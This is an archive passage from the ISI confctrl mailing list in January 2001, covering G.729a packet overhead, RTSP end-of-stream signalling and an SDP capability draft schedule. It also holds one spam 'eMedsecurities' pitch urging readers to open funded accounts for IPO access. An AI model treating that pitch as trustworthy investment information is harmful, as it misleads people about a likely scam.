Content-Type: multipart/alternative;
	boundary="=====================_926295==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_926295==_.ALT
Content-Type: text/plain; charset="us-ascii"


Aparna

I think its 40 bytes for UDP/RTP, plus 20 bytes for the IP header and whatever
L2 you have (~ 20 more bytes for Ethernet).... this is all without header
compression of any kind

At 09:57 AM 1/17/2001 -0700, Aparna.Vemuri@Level3.com wrote:
>Does anyone know what the default and/ or most commonly used packet size for
>G.729a is? I know that the ITU-T spec specifies a frame size of 10 ms; but
>the number of frames that normally make a packet (1 or 2?) is not clear to
>me. 
>Thanks,
>Aparna
>
>Aparna V.
>Level (3) Communications.

*************************************
"People generally demand more respect for their own rights than they are
willing to allow for others"

James M. Polk
Consulting Engineer
Office of the CTO

Cisco Systems
18581 N. Dallas Parkway
Dallas, Texas 75287
w) 972.813.5208
f)  972.813.5280
www.cisco.com
--=====================_926295==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>Aparna</div>
<br>
<div>I think its 40 bytes for UDP/RTP, plus 20 bytes for the IP header
and whatever L2 you have (~ 20 more bytes for Ethernet).... this is all
without header compression of any kind</div>
<br>
<div>At 09:57 AM 1/17/2001 -0700, Aparna.Vemuri@Level3.com wrote:</div>
<div>&gt;Does anyone know what the default and/ or most commonly used
packet size for</div>
<div>&gt;G.729a is? I know that the ITU-T spec specifies a frame size of
10 ms; but</div>
<div>&gt;the number of frames that normally make a packet (1 or 2?) is
not clear to</div>
<div>&gt;me. </div>
<div>&gt;Thanks,</div>
<div>&gt;Aparna</div>
<div>&gt;</div>
<div>&gt;Aparna V.</div>
<div>&gt;Level (3) Communications.</div>
<br>

<div align="center">
*************************************<br>
&quot;People generally demand more respect for their own rights than they
are willing to allow for others&quot;<br>
<br>
</div>
James M. Polk<br>
Consulting Engineer<br>
Office of the CTO<br>
<br>
Cisco Systems<br>
18581 N. Dallas Parkway<br>
Dallas, Texas 75287<br>
w) 972.813.5208<br>
f)&nbsp; 972.813.5280<br>
<a href="http://www.cisco.com/" eudora="autourl">www.cisco.com</a></html>

--=====================_926295==_.ALT--


From confctrl-owner  Wed Jan 17 21:49:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA09760
	for confctrl-outgoing; Wed, 17 Jan 2001 21:49:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA09751
	for <confctrl@zephyr.isi.edu>; Wed, 17 Jan 2001 21:49:58 -0800 (PST)
Received: from unipamplona.edu.co (r198h34.telecom.com.co [200.21.198.34])
	by tnt.isi.edu (8.11.1/8.11.1) with SMTP id f0I5nTU20767;
	Wed, 17 Jan 2001 21:49:30 -0800 (PST)
Received: from libero.it by unipamplona.edu.co (SMI-8.6/SMI-SVR4)
	id BAA16114; Thu, 18 Jan 2001 01:09:14 -0500
From: <emed11@libero.it>
Subject: Obtain Biotech IPOs!    84
Date: Thu, 18 Jan 2001 00:46:02
Message-Id: <892.146952.344425@libero.it>
Reply-To: emed11@libero.it
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Apparently-To: <ietf@ISI.EDU>
Apparently-To: <suifspec@ISI.EDU>
Apparently-To: <cohen@ISI.EDU>
Apparently-To: <confctrl@ISI.EDU>
Apparently-To: <tlc@ISI.EDU>
Apparently-To: <rfc-ed@ISI.EDU>
Apparently-To: <postelcenter@ISI.EDU>
Apparently-To: <rps-request@ISI.EDU>
Apparently-To: <postel@ISI.EDU>
Apparently-To: <pvm@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title></title>
</head>

<body bgcolor="#CCCCCC">

<div align="center">

<table border="2" width="550" cellpadding="14" cellspacing="5" bordercolor="#003366" bordercolorlight="#003366" bordercolordark="#003366">
<tr>
<td width="100%" bgcolor="#FFFFFF">

<p class="MsoBodyText" align="center"><b><font color="#003399" size="4" face="Verdana">Help Beta Test Our Site and Be Eligible to Purchase Shares of Future IPOs
In Which We Participate**</font></b></p>

<p class="MsoBodyText" align="left" style="text-align:left"><font size="2" face="Arial">eMedsecurities
has selected you as a possible participant to help test our online stock-trading
engine for knowledge-based investing in the life sciences. For your cooperation,
<b> you will be eligible to purchase shares of future IPOs</b> in which
we participate, for as long as
you maintain your account with us. This is limited to only <b>50 qualified
testers!&nbsp;</b>  <a href="mailto:emedsec@libero.it">Request More Information</a>.**</font></p>

<p class="MsoBodyText" align="center"><b><font size="3" face="Verdana" color="#003399">eMedsecurities… The Cure for the Common Portfolio!</font></b></p>

<p class="MsoBodyText" align="left" style="text-align:left"><font size="2" face="Arial">eMedsecurities provides you with a wealth of information, all compiled
in a single, easy-to-use resource.&nbsp; Learn about new research and upcoming treatments
for muscular dystrophy, multiple sclerosis, Parkinson's disease, Huntington's
chorea and much more.&nbsp; Obtain critical investment
information about the companies that are developing these treatments.&nbsp; eMedsecurities empowers you to make more informed investment decisions.
<a href="mailto:emedsec@libero.it">Request More Information</a>.**</font></p>

<p class="MsoNormal"><b><font size="2" face="Arial">Participation in eMedsecurities’ Beta Test allows you:</font></b></p>

<ul>
<li>

<p class="MsoNormal" style="mso-list: l1 level1 lfo2; tab-stops: list .5in"><b><font size="2" face="Arial" color="#003399">Eligibility to purchase shares
of IPOs in which eMedsecurities participates for as long as you maintain your account**</font></b></li>
<li>

<p class="MsoNormal" style="mso-list: l1 level1 lfo2; tab-stops: list .5in"><b><font size="2" face="Arial" color="#003399">Valuable research of the entire
product pipeline of companies, including stages of clinical development, by industry or specific disease</font></b></li>
<li>

<p class="MsoNormal" style="mso-list: l1 level1 lfo2; tab-stops: list .5in"><b><font size="2" face="Arial" color="#003399">Useful information about industry trends, recent developments and upcoming IPOs</font></b>
</li>
<li>

<p class="MsoNormal" style="mso-list: l1 level1 lfo2; tab-stops: list .5in"><b><font size="2" face="Arial" color="#003399">Commitment to customer service featuring our Live Customer Service Online</font></b></li>
<li>

<p class="MsoNormal" style="mso-list: l1 level1 lfo2; tab-stops: list .5in"><b><font size="2" face="Arial" color="#003399">Dedication to fast trade executions at the best possible
price.</font></b></li>
</ul>

<p align="left"><font size="2" face="Arial">The following guidelines will explain what we expect from an eMedsecurities Beta Tester:</font></p>

<ul>
<li>

<p align="left"><font size="2" face="Arial">Open a funded eMedsecurities account</font></li>
<li>

<p align="left"><font size="2" face="Arial">Visit our online trading site once a
week</font></li>
<li>

<p align="left"><font size="2" face="Arial">Execute trades through our web site in accordance with your normal
practice</font></li>
<li>

<p align="left"><font size="2" face="Arial">Submit feedback to eMedsecurities' development team through a
questionnaire sent via email</font></li>
<li>

<p align="left"><font size="2" face="Arial">Provide us with additional feedback regarding the site as needed.</font></li>
</ul>

<p align="left"><font size="2" face="Arial">The test is limited to only 50 Beta Testers so sign up now to be
considered!&nbsp; <a href="mailto:emedsec@libero.it">Request More Information</a>.**</font>

<p align="left"><b><font size="2" face="Arial">Please note:</font></b><font size="2" face="Arial">&nbsp;
All applications for the Beta Test must be
submitted by January 24, 2001 to be considered.</font>

<p align="left"><font face="Arial" size="2"><span style="mso-bidi-font-size: 12.0pt; mso-fareast-font-family: Times New Roman; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA">Please
be advised that your information will stay in our proprietary database and will
not be sold, traded, given or otherwise provided to outside vendors.&nbsp; We respect
your privacy.</span></font>

<p align="left">&nbsp;

<p align="left" style="line-height: 100%"><font face="Arial" size="1"><span style="mso-fareast-font-family: Times New Roman; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA">By
submitting your information, you implicitly state that this is something that
interests you and that you<br>
agree to receive periodic emails from
eMedsecurities.</span></font>

<p class="MsoNormal"><font size="1" face="Arial">Research indicated that you might benefit from
our offer.&nbsp; To be removed instantly and permanently from our database, simply
<a href="mailto:emed11@libero.it">click here</a>.&nbsp;
We respect all removal requests.</font></p>

<font size="1" face="Arial">**<b> Restrictions Apply:</b>&nbsp; <span style="color:red"><b>Beta
test not open to residents of:&nbsp; HI, IL, MI, MN, MS, NE, NH, TN, TX.</b></span>&nbsp;&nbsp;
Initial Public Offerings are considered speculative investments and as such may not be appropriate for every
investor. If an investor chooses to participate in IPOs, there are certain restrictions that apply:&nbsp; <b><span style="color:red">Flipping</span>- </b>The first time an investor sells his/her shares within the first 30 days the issue is trading in the secondary market, that investor will not be allocated
shares for the next 90 days following the sale.&nbsp; The second time that investor “flips”, they will not be allocated IPO shares for 180 days.&nbsp; The third time that investor “flips”, they lose their IPO allocations permanently.&nbsp;<span style="color:red">
<b>Transferring shares</b></span><b>- </b>If
the investor transfers IPO shares out of their account within the first 30 days the issue is trading in the secondary market, they will permanently lose their IPO allocations.&nbsp;
<b>Beta investors will be chosen from all the applicants based on their income, net worth and investing experience.&nbsp;</b>
IPO shares will only be allocated from transactions in which eMedsecurities
participates in the underwriting.
A0008-1-A2</font>
</td>
</tr>
</table>

</div>

</body>

</html>

From confctrl-owner  Thu Jan 18 03:33:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA26594
	for confctrl-outgoing; Thu, 18 Jan 2001 03:33:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA26587
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 03:33:20 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0IBXIU23787
	for <confctrl@isi.edu>; Thu, 18 Jan 2001 03:33:19 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id f0IBXEW05568;
	Thu, 18 Jan 2001 12:33:14 +0100 (MET)
Message-Id: <200101181133.f0IBXEW05568@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 18 Jan 2001 12:30:22 +0100
To: mmusic@informatik.uni-bremen.de
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Simple Capabilities
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

at the last IETF, a *very* simple capability negotiation as addition
to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.
Numerous comments came up and it was agreed to proceed as follows:

1.  We will have a period of two weeks for posting comments (and
    potential additions) to the list.

    This is to expire by 31 January 2001.

2.  From his draft and the additional input, the author will compile
    a very brief requirements draft which is to be posted to the list
    and will be discussed.

    This will take about one weeks (8 February 2001).

3.  After this, the author will modify/extend/fix/... the draft within
    three weeks time to make the final I-D deadline (2 March 2001).

Please keep in mind that we do not want to accomplish everything with this
document but rather provide a simple short-term solution to relatively
simple REAL WORLD problems ONLY.  Anything beyond this will not be integrated
in the revised document.

Cheers,
Joerg



From confctrl-owner  Thu Jan 18 09:21:01 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA15390
	for confctrl-outgoing; Thu, 18 Jan 2001 09:21:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA15385
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 09:20:59 -0800 (PST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0IHKwU02475
	for <confctrl@ISI.EDU>; Thu, 18 Jan 2001 09:20:59 -0800 (PST)
Received: from c600test.real.com ([172.23.106.160])
	by prognet.com (8.9.2/8.9.0) with ESMTP id JAA27392;
	Thu, 18 Jan 2001 09:21:03 -0800 (PST)
Message-Id: <4.3.2.7.2.20010118091111.027bdcc8@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 18 Jan 2001 09:21:21 -0800
To: ydh86@netscape.net, rem-conf@es.net, confctrl@ISI.EDU
From: Jeff Ayars <jeffa@real.com>
Subject: Re: end of a hint movie
In-Reply-To: <0B94B679.0D0C44A6.000163B3@netscape.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 03:57 AM 1/18/2001 -0500, ydh86@netscape.net wrote:
>Hi,
>
>How the RTP (or RTCP or RTSP) indicates the end of the movie
>to the video player? I could not find any mechanism of it,
>the only indication seems that the streaming server stops
>sending RTP packets, but it does not neccessary mean the end
>of the movie?

Good catch.  If you've gotten this far either your a very good reader and 
thinker or you're actually implementing something.  The answer as far as 
the standard is concerned today is that it doesn't say.  There is not a 
specified method to inform the terminal of the end of the stream in 
RTSP.  There are two methods used that I am aware of:  RTSP Bye sent by the 
server, and strict adherence to the range specified in the SDP or 
PLAY.  Both mechanisms need a timeout as the bye as well as the final bit 
of the media stream can be lost.  Neither are particularly good and at the 
RTSP bake-off last summer we talked about adding an explicit method as we 
moved RTSP to Draft Standard.

JEff


From confctrl-owner  Thu Jan 18 12:28:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA25217
	for confctrl-outgoing; Thu, 18 Jan 2001 12:28:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA25212
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 12:28:23 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0IKSKU06703
	for <confctrl@ISI.EDU>; Thu, 18 Jan 2001 12:28:21 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id PAA19473;
	Thu, 18 Jan 2001 15:30:54 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <CZ9K2FNF>; Thu, 18 Jan 2001 15:24:52 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AB10F@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'James M. Polk'" <jmpolk@cisco.com>, Aparna.Vemuri@Level3.com,
        confctrl@ISI.EDU
Subject: RE: G.729a packet size
Date: Thu, 18 Jan 2001 15:24:47 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Actually, its 20 for IP, 12 for RTP, 8 for UDP, for a total of 40 above L2.

-Jonathan R.
  
-----Original Message-----
From: James M. Polk [mailto:jmpolk@cisco.com]
Sent: Wednesday, January 17, 2001 12:53 PM
To: Aparna.Vemuri@Level3.com; confctrl@ISI.EDU
Subject: Re: G.729a packet size


Aparna


I think its 40 bytes for UDP/RTP, plus 20 bytes for the IP header and
whatever L2 you have (~ 20 more bytes for Ethernet).... this is all without
header compression of any kind


At 09:57 AM 1/17/2001 -0700, Aparna.Vemuri@Level3.com wrote:
>Does anyone know what the default and/ or most commonly used packet size
for
>G.729a is? I know that the ITU-T spec specifies a frame size of 10 ms; but
>the number of frames that normally make a packet (1 or 2?) is not clear to
>me. 
>Thanks,
>Aparna
>
>Aparna V.
>Level (3) Communications.


----
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Jan 18 12:46:59 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA26366
	for confctrl-outgoing; Thu, 18 Jan 2001 12:46:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA26361
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 12:46:55 -0800 (PST)
Received: from dominion.cisco.com (dominion.cisco.com [161.44.224.12])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0IKkrU09224
	for <confctrl@ISI.EDU>; Thu, 18 Jan 2001 12:46:53 -0800 (PST)
Received: from pots.cisco.com (mirapoint@pots.cisco.com [161.44.224.224])
	by dominion.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id PAA26590;
	Thu, 18 Jan 2001 15:46:42 -0500 (EST)
Received: from ORANLT (oran-toshiba.cisco.com [171.69.210.2])
	by pots.cisco.com (Mirapoint)
	with ESMTP id ADB24061;
	Thu, 18 Jan 2001 15:46:40 -0500 (EST)
From: "David Oran" <oran@cisco.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'James M. Polk'" <jmpolk@cisco.com>, <Aparna.Vemuri@Level3.com>,
        <confctrl@ISI.EDU>
Subject: RE: G.729a packet size
Date: Thu, 18 Jan 2001 15:46:40 -0500
Organization: Cisco Systems
Message-ID: <004201c0818f$c2764090$02d245ab@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2202
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <B65B4F8437968F488A01A940B21982BF9AB10F@DYN-EXCH-001.dynamicsoft.com>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA26362
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

G.729 frame size is 10 bytes. Each frame is 10ms of packetization period. Few people put less than 2 frames/packet, that's why the number 20 keeps popping up.

Dave.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU 
> [mailto:owner-confctrl@ISI.EDU]On Behalf Of Jonathan Rosenberg
> Sent: Thursday, January 18, 2001 3:25 PM
> To: 'James M. Polk'; Aparna.Vemuri@Level3.com; confctrl@ISI.EDU
> Subject: RE: G.729a packet size
> 
> 
> Actually, its 20 for IP, 12 for RTP, 8 for UDP, for a total 
> of 40 above L2.
> 
> -Jonathan R.
>   
> -----Original Message-----
> From: James M. Polk [mailto:jmpolk@cisco.com]
> Sent: Wednesday, January 17, 2001 12:53 PM
> To: Aparna.Vemuri@Level3.com; confctrl@ISI.EDU
> Subject: Re: G.729a packet size
> 
> 
> Aparna
> 
> 
> I think its 40 bytes for UDP/RTP, plus 20 bytes for the IP 
> header and whatever L2 you have (~ 20 more bytes for 
> Ethernet).... this is all without header compression of any kind
> 
> 
> At 09:57 AM 1/17/2001 -0700, Aparna.Vemuri@Level3.com wrote:
> >Does anyone know what the default and/ or most commonly used packet 
> >size
> for
> >G.729a is? I know that the ITU-T spec specifies a frame size 
> of 10 ms; 
> >but the number of frames that normally make a packet (1 or 
> 2?) is not 
> >clear to me. Thanks, Aparna
> >
> >Aparna V.
> >Level (3) Communications.
> 
> 
> ----
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 


From confctrl-owner  Thu Jan 18 13:39:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA28898
	for confctrl-outgoing; Thu, 18 Jan 2001 13:39:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA28893
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 13:39:10 -0800 (PST)
Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0ILd9U16645
	for <confctrl@isi.edu>; Thu, 18 Jan 2001 13:39:09 -0800 (PST)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Thu, 18 Jan 2001 16:10:59 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <DGL462J0>; Thu, 18 Jan 2001 16:07:38 -0500
Message-ID: <28560036253BD41191A10000F8BCBD110366FF31@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: Joerg Ott <jo@tzi.uni-bremen.de>, mmusic@informatik.uni-bremen.de
Cc: confctrl@ISI.EDU
Subject: RE: Simple Capabilities
Date: Thu, 18 Jan 2001 16:07:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C08192.9CEEADF0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08192.9CEEADF0
Content-Type: text/plain;
	charset="iso-8859-1"

I would like to suggest that anything we do should move toward making the
Megaco adaptations of SDP in the MGC-MG direction more useful in the reverse
direction.  That's a slightly milder requirement than what I'd really like:
that if we choose to add a certain feature to SDP and Megaco has already
provided a solution for that feature, we should use the Megaco solution.  

> -----Original Message-----
> From: Joerg Ott [mailto:jo@tzi.uni-bremen.de]
> Sent: Thursday, January 18, 2001 6:30 AM
> To: mmusic@informatik.uni-bremen.de
> Cc: confctrl@isi.edu
> Subject: Simple Capabilities
> 
> 
> Folks,
> 
> at the last IETF, a *very* simple capability negotiation as addition
> to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.
> Numerous comments came up and it was agreed to proceed as follows:
> 
> 1.  We will have a period of two weeks for posting comments (and
>     potential additions) to the list.
> 
>     This is to expire by 31 January 2001.
> 
> 2.  From his draft and the additional input, the author will compile
>     a very brief requirements draft which is to be posted to the list
>     and will be discussed.
> 
>     This will take about one weeks (8 February 2001).
> 
> 3.  After this, the author will modify/extend/fix/... the draft within
>     three weeks time to make the final I-D deadline (2 March 2001).
> 
> Please keep in mind that we do not want to accomplish 
> everything with this
> document but rather provide a simple short-term solution to relatively
> simple REAL WORLD problems ONLY.  Anything beyond this will 
> not be integrated
> in the revised document.
> 
> Cheers,
> Joerg
> 
> 
> 

------_=_NextPart_001_01C08192.9CEEADF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Simple Capabilities</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I would like to suggest that anything we do should =
move toward making the Megaco adaptations of SDP in the MGC-MG =
direction more useful in the reverse direction.&nbsp; That's a slightly =
milder requirement than what I'd really like: that if we choose to add =
a certain feature to SDP and Megaco has already provided a solution for =
that feature, we should use the Megaco solution.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Joerg Ott [<A =
HREF=3D"mailto:jo@tzi.uni-bremen.de">mailto:jo@tzi.uni-bremen.de</A>]</F=
ONT>
<BR><FONT SIZE=3D2>&gt; Sent: Thursday, January 18, 2001 6:30 AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: mmusic@informatik.uni-bremen.de</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: confctrl@isi.edu</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Simple Capabilities</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Folks,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; at the last IETF, a *very* simple capability =
negotiation as addition</FONT>
<BR><FONT SIZE=3D2>&gt; to SDP was discussed: =
draft-andreasen-mmusic-sdp-simcap-00.txt.</FONT>
<BR><FONT SIZE=3D2>&gt; Numerous comments came up and it was agreed to =
proceed as follows:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 1.&nbsp; We will have a period of two weeks for =
posting comments (and</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; potential additions) to =
the list.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; This is to expire by 31 =
January 2001.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 2.&nbsp; From his draft and the additional =
input, the author will compile</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; a very brief =
requirements draft which is to be posted to the list</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; and will be =
discussed.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; This will take about =
one weeks (8 February 2001).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 3.&nbsp; After this, the author will =
modify/extend/fix/... the draft within</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; three weeks time to =
make the final I-D deadline (2 March 2001).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Please keep in mind that we do not want to =
accomplish </FONT>
<BR><FONT SIZE=3D2>&gt; everything with this</FONT>
<BR><FONT SIZE=3D2>&gt; document but rather provide a simple short-term =
solution to relatively</FONT>
<BR><FONT SIZE=3D2>&gt; simple REAL WORLD problems ONLY.&nbsp; Anything =
beyond this will </FONT>
<BR><FONT SIZE=3D2>&gt; not be integrated</FONT>
<BR><FONT SIZE=3D2>&gt; in the revised document.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Cheers,</FONT>
<BR><FONT SIZE=3D2>&gt; Joerg</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08192.9CEEADF0--

From confctrl-owner  Thu Jan 18 17:14:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA07660
	for confctrl-outgoing; Thu, 18 Jan 2001 17:14:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA07655
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jan 2001 17:14:41 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0J1EeU20939
	for <confctrl@ISI.EDU>; Thu, 18 Jan 2001 17:14:40 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id RAA19254;
	Thu, 18 Jan 2001 17:10:36 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id f0J1Abc19634;
	Thu, 18 Jan 2001 17:10:37 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id RAA16125; Thu, 18 Jan 2001 17:10:30 -0800 (PST)
Message-ID: <3A6794B1.9B7B8C35@cisco.com>
Date: Thu, 18 Jan 2001 20:13:22 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: Joerg Ott <jo@tzi.uni-bremen.de>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: Re: Simple Capabilities
References: <28560036253BD41191A10000F8BCBD110366FF31@zcard00g.ca.nortel.com>
Content-Type: multipart/alternative;
 boundary="------------E6C04B75F525E316086AF190"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------E6C04B75F525E316086AF190
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Tom-PT Taylor wrote:

>
>
